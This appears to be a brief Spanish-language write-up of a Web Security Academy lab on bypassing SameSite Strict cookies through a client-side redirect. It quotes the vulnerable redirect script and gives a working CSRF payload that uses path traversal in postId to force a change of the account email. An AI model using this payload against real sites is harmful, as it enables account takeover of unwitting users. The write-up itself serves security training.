08 - SameSite Strict bypass via client-side redirect
La cookie de sesión tiene SameSite Strict, por lo que no será enviada en ninguna petición que no sea entre el propio dominio.
/resources/js/commentConfirmationRedirect.js
redirectOnConfirmation = (blogPath) => {
setTimeout(() => {
const url = new URL(window.location);
const postId = url.searchParams.get("postId");
window.location = blogPath + '/' + postId;
}, 3000);
}
Vaya, que al acceder a
https://0a6100ba04b3924186fad99b007500d3.web-security-academy.net/post/comment/confirmation?postId=99
Te redirige a
https://0a6100ba04b3924186fad99b007500d3.web-security-academy.net/post/99
Exploit :
<script>
window.location='https://0a6100ba04b3924186fad99b007500d3.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email%3femail%3deeeaaaaaaa%2540test.com%26submit%3d1'
</script>